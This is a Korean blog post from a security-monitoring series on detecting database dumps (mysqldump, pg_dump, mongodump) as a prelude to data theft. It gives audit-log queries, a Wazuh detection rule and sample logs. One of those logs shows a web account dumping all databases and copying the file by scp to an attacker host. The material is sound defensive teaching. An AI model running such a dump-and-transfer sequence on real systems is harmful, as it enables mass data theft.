220. 중요 정보 접근 — 데이터베이스 덤프 생성 탐지

changseop lee·4일 전

시스템 보안 · 취약점

목록 보기
220/450

시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 20/50편 (전체 220/450)
학습 단계: DB·대량 데이터 접근 이상
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

덤프 도구(mysqldump·pg_dump)는 DB 전체를 SQL/파일로 추출합니다. 정상적으로 백업에 쓰이지만, 공격자가 탈취한 자격증명으로 전체 DB를 덤프하면 대량 유출의 직전 단계가 됩니다.

DB 덤프 도구와 위험
 mysqldump --all-databases → 전체 MySQL DB 추출
 pg_dump / pg_dumpall      → PostgreSQL 추출
 mongodump                 → MongoDB 추출
 SELECT ... INTO OUTFILE   → 쿼리로 파일 추출

정상: 백업 시간·백업 계정의 정기 덤프
공격: 비정기·비백업 계정·전체 덤프 → 유출 준비

덤프는 백업 프로세스가 정기적으로 하는 것이 정상입니다. 비백업 주체·비정기 시간의 전체 덤프는 유출 준비 신호입니다.

2. 왜 중요한가

  • DB 덤프는 전체 데이터를 한 파일로 추출해, 유출 직전의 수집(staging) 단계입니다.
  • 탈취한 DB 자격증명(E13)으로 덤프하면 정상 도구를 악용한 유출이 됩니다.
  • 정상 백업과 구분하려면 주체·시점·범위(전체 vs 특정)·이후 전송을 봐야 합니다.

3. 핵심 명령어 / 설정

덤프 방법추출 범위위험
mysqldump --all-databases전체 MySQL매우 높음
pg_dumpall전체 PostgreSQL매우 높음
mongodumpMongoDB높음
INTO OUTFILE쿼리 추출높음
정기 백업 덤프정상정상

4. 실습 (실습 예시)

# DB 덤프 생성 탐지 (분석 방법)
# 덤프 도구 실행(백업 계정·시간 외)
sudo ausearch -k data_access,exfil -i --start recent 2>/dev/null | grep -E 'comm="(mysqldump|pg_dump|pg_dumpall|mongodump)"' | tail

# 덤프 명령줄(전체 범위 여부)
sudo ausearch -k data_access -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(mysqldump|pg_dump).*' | tail

5. 정상 상태

$ (DB 덤프)
03:00 comm="mysqldump" auid=backup proctitle="mysqldump --single-transaction appdb"
→ 백업 계정이 정기 시간에 특정 DB 덤프(정상)

백업 계정이 정기 시간(03시)에 지정 DB를 덤프하는, 정상 백업 동작 상태입니다.

6. 이상 상태

$ (DB 덤프)
04:00 comm="mysqldump" auid=www-data proctitle="mysqldump --all-databases"
04:02 comm="scp" /tmp/all.sql → 외부
  • 웹 계정(www-data)이 전체 DB(--all-databases)를 덤프 → 전체 데이터 추출
  • 직후 scp로 외부 전송 → 대량 유출
  • 비백업 주체·전체 범위·이후 전송 → 유출 준비·실행 → 정탐

7. 로그 분석 (분석 방법)

DB 덤프 유출 흐름입니다(가상의 예시 로그).

type=SYSCALL comm="mysqldump" auid=www-data key="data_access"
type=PROCTITLE proctitle=mysqldump --all-databases -u root
 → 웹 계정이 전체 DB 덤프(수집)
[이후] scp /tmp/all.sql attacker@외부 (유출, E32)
관찰해석
mysqldump --all전체 추출
auid=www-data비백업 주체
이후 scp외부 유출
04:00비정기

덤프(수집) → 전송(유출)을 세션으로 연계하면 대량 유출을 명확히 포착합니다.

8. SOC 관제 포인트

  • DB 덤프 도구는 전체 데이터를 한 파일로 추출하는 유출 직전 수집 단계입니다.
  • 정상 백업(백업 계정·정기·지정 DB)과 비백업·비정기·전체 덤프를 구분합니다.
  • 덤프(수집) → 외부 전송(유출) 연계가 핵심 탐지 포인트입니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_e,data_access,">
  <rule id="104190" level="12">
    <if_sid>104000</if_sid>
    <field name="audit.comm" type="pcre2">^(mysqldump|pg_dump|pg_dumpall|mongodump|mariadb-dump)$</field>
    <field name="audit.auid" type="pcre2">^(?!backup|root-backup)[a-z0-9]+$</field>
    <description>비백업 주체의 DB 덤프 생성(유출 준비)</description>
    <mitre><id>T1005</id><id>T1030</id></mitre>
  </rule>
</group>

정상 백업 계정·시간은 예외 처리합니다. --all-databases 등 전체 범위는 레벨을 높이고, 이후 전송을 상관합니다.

10. 대응 방법

  1. 초기 확인 — 덤프 도구·실행 주체·범위(전체/지정)·시점을 확인합니다.
  2. 범위 확인 — 백업 계정·시간 여부와 이후 외부 전송을 확인합니다.
  3. 증거 확보 — 덤프 실행 이벤트와 생성된 덤프 파일·연계 로그를 보존합니다.
  4. 차단/조치 — 유출 정탐이면 전송 차단·세션 종료·덤프 범위(유출 데이터) 조사를 진행합니다.
  5. 재발 방지 — DB 덤프 생성 탐지를 운영합니다.

11. 핵심 정리

덤프 방법범위
mysqldump --all전체 MySQL
pg_dumpall전체 PostgreSQL
mongodumpMongoDB
INTO OUTFILE쿼리 추출
면접 포인트"DB 덤프는 유출 직전 수집 — 비백업·전체 범위·이후 전송이 정탐 신호"

12. 다음 편 예고

다음 편 221. 중요 정보 접근 — 대량 파일 읽기(bulk read) 탐지 에서는 대량 파일 읽기를 다루는 대량 파일 읽기(bulk read) 탐지를 다룹니다.


이전 편: 219. 중요 정보 접근 — 데이터베이스 파일 직접 접근 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글